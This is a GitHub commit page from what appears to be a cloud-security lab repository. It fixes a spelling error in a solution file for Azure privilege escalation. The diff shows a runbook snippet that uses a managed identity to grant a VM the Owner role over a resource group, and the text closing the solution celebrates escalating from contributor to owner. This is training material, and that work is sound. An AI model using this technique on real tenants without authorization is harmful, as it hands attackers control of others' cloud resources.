Skip to content

Commit

Permalink
Update 05-Privilege Escalation.md
Browse files Browse the repository at this point in the history
Fix Spelling
  • Loading branch information
SSKale1 authored Sep 26, 2022
1 parent d6356db commit 35d6808
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions solutions/module-1/05-Privilege Escalation.md
Original file line number Diff line number Diff line change
Expand Up @@ -86,7 +86,7 @@ workflow Get-AzureVM
Disable-AzContextAutosave -Scope Process
$AzureContext = (Connect-Azaccount -Identity -AccountId <Identity-Client-ID>).context
$AzureContext = Set-AzContext -SubscriptionName $AzureContext.Subscription -DefaultProfile $AzureContext
New-AzRoleAssignmnet -RoleDefinitionName "Owner" -ObjectId <VM-Object-ID> -resourceGroupName <ResourceGroup Name>
New-AzRoleAssignment -RoleDefinitionName "Owner" -ObjectId <VM-Object-ID> -resourceGroupName <ResourceGroup Name>
}
```

Expand Down Expand Up @@ -120,4 +120,4 @@ Find our VM using the principalId.

The role got changed from contributor to owner.

***Congrats! We successfully escalated the privileges to the owner of the resource group.***
***Congrats! We successfully escalated the privileges to the owner of the resource group.***

0 comments on commit 35d6808

Please sign in to comment.